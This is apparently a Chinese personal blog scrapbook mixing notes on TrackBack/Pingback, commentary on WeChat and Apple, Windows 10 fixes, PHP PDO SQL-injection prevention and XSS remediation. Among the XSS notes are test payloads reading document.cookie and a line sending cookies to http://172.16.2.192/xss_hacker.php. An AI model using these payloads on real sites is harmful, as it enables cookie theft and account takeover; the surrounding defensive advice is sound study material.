lizhenqiu blog

TrackBack是一种网络日志应用工具，它可以让博客作者知道有哪些人看到自己的文章后撰写了与之有关的短文。
在Movable Type和WordPress软件中，包含有该功能。这种功能通过在博客之间互相“ping”的机制，实现了网站之间的互相通告；因此，它也可以提供提醒功能。
TrackBack功能一般出现在一个博客文章的下方，同时会显示对方博客的摘要信息、URL和网志标题。
TrackBack规范由Six Apart在2000年制订，并在Movable Type 2.2中予以实现。

Pingback和Trackback的区别

Trackback我们都知道是自己在自己的Blog上撰文回应别人的文章,那么别人的文章的回复中会有trackback from的字样.但是我很早又注意到有trackback和pingback之分,在很多Blog的回复都看到除了comments(回复)外,还有trackback和pingback,但一直不清楚这两者有什么区别,如何才是Pingback呢?
如果你后台打开了”对文章中提到的其它网站的网页链接发送通告(会降低保存文章的速度)”这个选项的话,那么你的文章中如果有相应的URI,那么wordpress就会向这个文章发送ping,这个过程就应该是pingback,而且很有意思的是,对方回复中不会像trackback那样显示excerpt或者是正文的头部文字,而是显示出提到你的URI的那一段文字—让人疑惑好久,区别于trackback的另一种ping.

1，功能
从普通blogger的眼观看，Pingback和Trackback的作用是一样的：
1。博客A发布了一篇文章；
2。博客B看到后，发布评论、引用、介绍博客A上该篇文章的贴子；
3。在文章发布时，博客B即自动向博客A发送Pingback或TrackBack；
4。博客A收到相应的Pingback或TrackBack，如果未设置人工审核，相应的内容即会出现在博客A该文的留言中，如果设置了人工审核，则出现在博客A的审核列表中，俟博客A认为不是spam后将其发布在留言中。
即，Pingback或TrackBack通过自动连接相互引用的blog，使blog内容相关性进一步提高，进而形成以内容为导向的聚合性网络。

2，区别：
pingback在WP中是自动的，而trackback则需要你在自己的blog“撰写文章”、或者在别人的blog写“评论”的时候手动输入。
更专业的说法就是：
pingback是blog系统的自动ping通信机制，用于实现上述内容聚合功能。正如yskin所说，pingback成功后，在对方日志里显示的摘要来自于你文章中放置引用原文的链接附近。
而trackback则是人为发送内容聚合的方法。在对方日志里显示的摘要则是你的这篇文章的摘要部分。
（关于在摘要是否出现以及出现的方式等，也如yskin所说：要依赖于blog系统以及blogger的自主设置）。

3，ping
ping事实上与操作系统的ping命令在动作上一致：按照一定的协议相互通信。只不过内容区别很大而已。
上述pingback和trackback都需要ping机制和ping动作实现，但是blog系统的ping不仅仅用于上述功能。
例如通知feedburner更新feed都是要ping的。

4，谨防垃圾评论
这个不多说了，使用pingback和trackback无疑会增大bolg的被电击率，扩大影响。但随之而来的就是垃圾评论，解决方法：
开启评论审核机制；
开启垃圾评论过滤机制。

前几天看了一下WordPress的源代码，确实是WordPress同时支持Pingback和Trackback。WordPress不仅可以接受发来的Pingback和Trackback，而且可以同时发出这两种。文章里自动查找链接然后发出的是Pingback，而手工填写Trackback地址发出的是Trackback。
另外，关于ping，WordPress里的ping的全称是XML-RPC ping，它使用XML-RPC，向服务器发送一个ping命令。可以参考Technorati网站的说明：http://technorati.com/developers/ping/ ，发送的xml里方法名是：weblogUpdates.ping。
XML-PRC ping和网络上的ping功能(比如Windows下的ping命令)也有一点相似。ping命令发送ICMP包给目标服务器，目标服务器收到后返回一个ICMP包做响应。ping命令找出里面的TTL等信息，然后计算发送到收到相应的时间，显示给用户。XML-PRC ping则是发送一个请求，请求执行一个叫做"ping"的方法，而服务器收到后执行ping方法，一般是读取feed，或者有一些转发服务，将ping信息转发给其他多个ping服务器。然后，服务器通常会返回一个信息，有说OK，也有不返回的。
在金山词霸网站查到，ping一词的解释是查验。网络的ping或许就是查验，检查的意思，ping一下某个IP，就是发送一个信息，然后等待该IP返回一个回应，以确定该IP的服务器是否在网络中，是否正常工作，也确定本机到该IP的网络通路是畅通的。而XML-PRC ping，则是通知，通知服务器赶快来更新自己的feed

当其他博客在文章中有提到你的博客或者某一篇文章的链接时，这是你的博客就会收到一个Pingbacks，主要是提到相互通知的作用，但是这个功能越来越鸡肋了，越来越多的广告通过这种形式进行传播

如何使用 Blog 的引用 (Trackbacks) 功能
什么是引用 (Trackbacks)？

简单说来，Trackback是网站与网站之间互相通告的一种方法。它能让甲对乙说：“这篇文章可能是你感兴趣的”，要实现这一动作，甲向乙发送一个 Trackback Ping（引用通告）即可。在这种情况下，一个 Ping 就是一条从一个web服务器发送到另一个服务器的短消息（a small message）。

甲在自己的 Blog 中写文章，对乙Blog中的随笔发表评论。这是远程评论的一种形式--不必直接在乙的Blog中发表评论，甲只要在自己的Blog中发表，然后发送一个引用通告通知乙。
甲对于一群人都感兴趣的主题发表文章。这是内容集合的一种形式--通过发送一个引用通告到中心服务器，访问者可以读到有关此主题的所有文章。例如，假定有一个收集有关 Justin Timberlake 文章的网站，任何对此感兴趣的人都可能通过访问这个网站，得到其它Blog上有关于此的最新情况。

如何在 .Text 中使用引用?

你什么也不必做。当你发表了一篇文章，.TEXT 会检查文章内容中包含的所有链接, 并自动向每个链接地址发送引用。

对于你文章内容中的每一个链接，.TEXT 会搜索被链接页的全部内容，寻找引用部分，此部分包含当前链接的引用终点。如果终点找到，产生一个包含你文章详细资料的引用通告。详细资料包括你文章和 Blog 的标题、链接地址。

当你查看你 Blog 的引用的时候，通过点击引用页的“新建”链接，可以把任何链接直接转换为引用。这是从你要实现引用的网站显示相关链接的便捷方法。

江湖之上，被人黑得最体无完肤的处女座，却黑出了商界最令人叹为观止的两个东山再起打不死的小强：巨人史玉柱、融创孙宏斌……

柳一手把他送进监狱的，这里语焉不详。是没做功课还是故意混淆？

#²详见吴晓波先生的大败局

当初看大败局的时候就被孙深深折服，实力强，勇气足，可谓几起几落。至于乐视网，成功了是神话，不成功是庞氏！

"老贾不是丁义珍般的沉默"。。。 作者是不是太缺德了？

#¹鲁迅讽刺的 即使无名肿毒，倘若生在中国人身上，也便“红肿之处，艳若桃花；溃烂之时，美如乳酪”

美国是假设每个人都是好人，直到你做了坏事被抓到了，才把你归类为坏人；中国是假设每个人都是坏人，直到我验证你之后，才认可你是好人。

巨头比我们清楚什么时候该打，而什么时候应该坐下来谈判

“你知道深爱一个人是什么感觉吗”“就像房间里黑了你不是先去找灯，而是先去找他。”

微信下线打赏功能，直接将公号作者的利益给砍了。而走苹果的iap只是减少收益而已。通过这样的手段把苹果推向风口浪尖，借刀杀人。然而实际上，目前网民的舆论也未必能对苹果造成什么影响。

作者的打赏收入降低的占比，应该是大于苹果设备在访问总设备中的占比。而背负了这个损失的，是一帮擅长码字、掌握话语权的人。

微信公众号的打赏功能，可视为一种给作者的转账行为，并非任何“购买”行为，也并未激活任何功能或者服务，所以公众号打赏套用IAP确实是比较奇怪的。

同为打赏功能受众的微信表情，并未受到影响，而微信表情由于存在虚拟产品的应用内交付以及使用过程，按说似乎更符合前述条款。

#⁷苹果的生态好不好？当然好。微信的生态妙不妙？当然妙。我们当然希望巨头们相安无事，用户各取所需，世界和平。然而，这个世界终究是讲实力的，是残酷的。当神仙打架的时候，围观群众也没必要急着站队和开喷，要站在巨头的角度想一想问题如何解决，什么情况下要打，什么情况下要讲和，什么情况下先打再讲和，而不是进行简单的道德审判。大家坐下来好好谈一谈，看看怎么把生意做大，共同赚钱，而不是今天你砍我，明天我砍你。巨头之所以是巨头，想必是比我们更清楚这一点。

#⁷通常的情况下，苹果用户的付费能力及付费意愿强于安卓用户。

"/><script>alert(document.cookie)</script><!--
<script>alert(document.cookie)</script><!--
"onclick="alert(document.cookie)

XSS 漏洞修复
原则：　不相信客户输入的数据
注意: 攻击代码不一定在<script></script>中
将重要的cookie标记为http only, 这样的话Javascript 中的document.cookie语句就不能获取到cookie了.
只允许用户输入我们期望的数据。 例如：　年龄的textbox中，只允许用户输入数字。 而数字之外的字符都过滤掉。
对数据进行Html Encode 处理
过滤或移除特殊的Html标签， 例如: <script>, <iframe> , &lt; for <, &gt; for >, &quot for
过滤JavaScript 事件的标签。例如 "onclick=", "onfocus" 等等。

给浏览器设置Cookie的头如下：

Set-Cookie: =[; =]
[; expires=][; domain=]
[; path=][; secure][; HttpOnly]

如果 Cookie 具有 HttpOnly 特性且不能通过客户端脚本访问，则为 true；否则为 false。默认值为 false。

#¹
"/> <script>window.open("http://172.16.2.192/xss_hacker.php?cookie="+document.cookie);</script><!--

#⁴

"/> <script>window.open("http://172.16.2.192/xss_hacker.php?cookie="+document.cookie);</script><!--  

uac控制默认的开启的，不要去改它

Win10无法用内置管理员帐户打开Edge解决方案
Win10内置管理员帐户无法运行系统应用的解决方法
win10照片应用打不开提示“无法打开这应用”如何解决
Windows 10无法使用管理员账户启动应用怎么办？
Win10应用商店、应用打不开或闪退的解决方法
关于，困扰了这么久，我终于解决了。思路：在internet属性-连接中，删除宽带连接，再新建一个。原来的宽带连接估计有些毛病。
删除C:Users{username}AppDataLocalPackagesMicrosoft.WindowsStore_8wekyb3d8bbweLocalCache里的文件即可无
win10打开软件时提示无法打开这个应用的解决方法

JquerySimpleColor颜色选择器 11个JavaScript颜色选择器插件

https://gfycat.com/ImpossibleHeavyDarwinsfox

三上悠亚超棒的

$dbh = new PDO("mysql:host=localhost; dbname=demo", "user", "pass");
$dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); //禁用prepared statements的仿真效果
$dbh->exec("set names 'utf8'"); 

使用PDO访问MySQL数据库时，真正的real prepared statements 默认情况下是不使用的。为了解决这个问题，你必须禁用 prepared statements的仿真效果。
当调用 prepare() 时，查询语句已经发送给了数据库服务器，此时只有占位符 ? 发送过去，没有用户提交的数据；当调用到 execute()时，用户提交过来的值才会传送给数据库，他们是分开传送的，两者独立的，SQL攻击者没有一点机会。
但是我们需要注意的是以下几种情况，PDO并不能帮助你防范SQL注入
1、你不能让占位符 ? 代替一组值，如：

SELECT * FROM blog WHERE userid IN ( ? );

2、你不能让占位符代替数据表名或列名，如：

SELECT * FROM blog ORDER BY ?;

3、你不能让占位符 ? 代替任何其他SQL语法，如：

SELECT EXTRACT( ? FROM datetime_column) AS variable_datetime_element FROM blog;

使用PDO的注意事项
知道以上几点之后，我们就可以总结使用PDO杜绝SQL注入的几个注意事项：
1. php升级到5.3.6+，生产环境强烈建议升级到php 5.3.9+ php 5.4+，php 5.3.8存在致命的hash碰撞漏洞。

2. 若使用php 5.3.6+, 请在在PDO的DSN中指定charset属性

3. 如果使用了PHP 5.3.6及以前版本，设置PDO::ATTR_EMULATE_PREPARES参数为false（即由MySQL进行变量处理），php 5.3.6以上版本已经处理了这个问题，无论是使用本地模拟prepare还是调用mysql server的prepare均可。在DSN中指定charset是无效的，同时set names <charset>的执行是必不可少的。

4. 如果使用了PHP 5.3.6及以前版本, 因Yii框架默认并未设置ATTR_EMULATE_PREPARES的值，请在数据库配置文件中指定emulatePrepare的值为false。

那么，有个问题，如果在DSN中指定了charset, 是否还需要执行set names <charset>呢？
是的，不能省。set names <charset>其实有两个作用：
A. 告诉mysql server, 客户端（PHP程序）提交给它的编码是什么
B. 告诉mysql server, 客户端需要的结果的编码是什么
也就是说，如果数据表使用gbk字符集，而PHP程序使用UTF-8编码，我们在执行查询前运行set names utf8, 告诉mysql server正确编码即可，无须在程序中编码转换。这样我们以utf-8编码提交查询到mysql server, 得到的结果也会是utf-8编码。省却了程序中的转换编码问题，不要有疑问，这样做不会产生乱码。

那么在DSN中指定charset的作用是什么? 只是告诉PDO, 本地驱动转义时使用指定的字符集（并不是设定mysql server通信字符集），设置mysql server通信字符集，还得使用set names <charset>指令。

$st->execute();  
$result = $st->fetchAll();

execute( )执行预准备语句，fetchAll( )返回包含所有结果集行的数组。

PDO如何解决sql注入
在php5.3.6之后，pdo不会在本地对sql进行拼接然后将拼接后的sql传递给mysql server处理（也就是不会在本地做转义处理）。pdo的处理方法是在prepare函数调用时，将预处理好的sql模板（包含占位符）通过mysql协议传递给mysql server，告诉mysql server模板的结构以及语义。当调用execute时，将两个参数传递给mysql server。由mysql server完成变量的转移处理。将sql模板和变量分两次传递，即解决了sql注入问题。

PDO的变量绑定bindParam和bindValue会自动添加转义。

但无法对表或字段的名字进行变量绑定。

因此当表名或字段名不确定（即可能从用户输入中获取），而需要动态组装SQL语句时，即使是用了PDO变量绑定来提供字段的值，应当注意表名和字段名部分的过滤。

PDO，只是一个手段，并非最合适的方法。

方法 bindParam() 和 bindValue() 非常相似。
唯一的区别就是前者使用一个PHP变量绑定参数，而后者使用一个值。
所以使用bindParam是第二个参数只能用变量名，而不能用变量值，而bindValue至可以使用具体值。

$stm = $pdo->prepare("select * from users where user = :user");
$user = "jack";
//正确
$stm->bindParam(":user",$user);
//错误
//$stm->bindParam(":user","jack");
//正确
$stm->bindValue(":user",$user);
//正确
$stm->bindValue(":user","jack");

另外在存储过程中，bindParam可以绑定为input/output变量，如下面

$stm = $pdo->prepare("call func(:param1)");
$param1 = "abcd";
$stm->bindParam(":param1",$param1); //正确
$stm->execute();

存储过程执行过后的结果可以直接反应到变量上。
对于那些内存中的大数据块参数，处于性能的考虑，应优先使用前者bindParam()

#⁷错的。大家去看手册http://www.php.net/manual/zh/pdostatement.bindparam.php

http://zhangxugg-163-com.iteye.com/blog/1835721

注意二级注入。比如用户把带危险的字符串先存进数据库，如果你想在另外一个 SQL 语句里 concat 或者直接拼接那个带危险的字符串，是可以注入的。

PHP PDOStatement对象bindpram()、bindvalue()和bindcolumn之间的区别
PDOStatement::bindParam — 绑定一个参数到指定的变量名。
绑定一个PHP变量到用作预处理的SQL语句中的对应命名占位符或问号占位符。 不同于 PDOStatement::bindValue() ，此变量作为引用被绑定，并只在 PDOStatement::execute() 被调用的时候才取其值。
PDOStatement::bindValue — 把一个值绑定到一个参数。
绑定一个值到用作预处理的 SQL 语句中的对应命名占位符或问号占位符。

<?php
$stm = $pdo->prepare("select * from users where user = :user");
$user = "jack";
//正确
$stm->bindParam(":user",$user);
//错误
$stm->bindParam(":user","jack");
//正确
$stm->bindValue(":user",$user);
//正确
$stm->bindValue(":user","jack");
 
//所以使用bindParam是第二个参数只能用变量名，而不能用变量值，而bindValue至可以使用具体值。
?>

PDOStatement::bindColumn — 绑定一列到一个 PHP 变量。
安排一个特定的变量绑定到一个查询结果集中给定的列。每次调用 PDOStatement::fetch() 或 PDOStatement::fetchAll() 都将更新所有绑定到列的变量。

<?php
function  readData ( $dbh ) {
    $sql  =  'SELECT name, colour, calories FROM fruit' ;
    try {
        $stmt  =  $dbh -> prepare ( $sql );
        $stmt -> execute ();
 
        /*  通过列号绑定  */
        $stmt -> bindColumn ( 1 ,  $name );
        $stmt -> bindColumn ( 2 ,  $colour );
 
        /*  通过列名绑定  */
        $stmt -> bindColumn ( 'calories' ,  $cals );
 
        while ( $row  =  $stmt -> fetch ( PDO :: FETCH_BOUND )) {
            $data  =  $name  .  "\t"  .  $colour  .  "\t"  .  $cals  .  "\n" ;
            print  $data ;
        }
    }
    catch ( PDOException $e ) {
        print  $e -> getMessage ();
    }
}
readData ( $dbh );
?>

#¹⁰🎉黑鬼问号脸

从代码编译的角度说的话，单引号在JS中被浏览器（IE，Chrome，Safari）编译的速度更快（在FireFox中双引号更快）

双引号需要按住shift键才能输入，比起单引号输入起来要麻烦。

个人习惯，在js中我都用单引号，在json中，我都用双引号。

建议用单引号，HTML 中用双引号，需要创建 HTML 组件的时候，随时复制黏贴就搞定了

如果是一个人做开发，没有顾忌，可以跟随自己的喜好，JavaScript 同时支持两种引号，很大程度上跟你的输出有关，如果你需要输出双引号，那么外面就用单引号套，反之亦然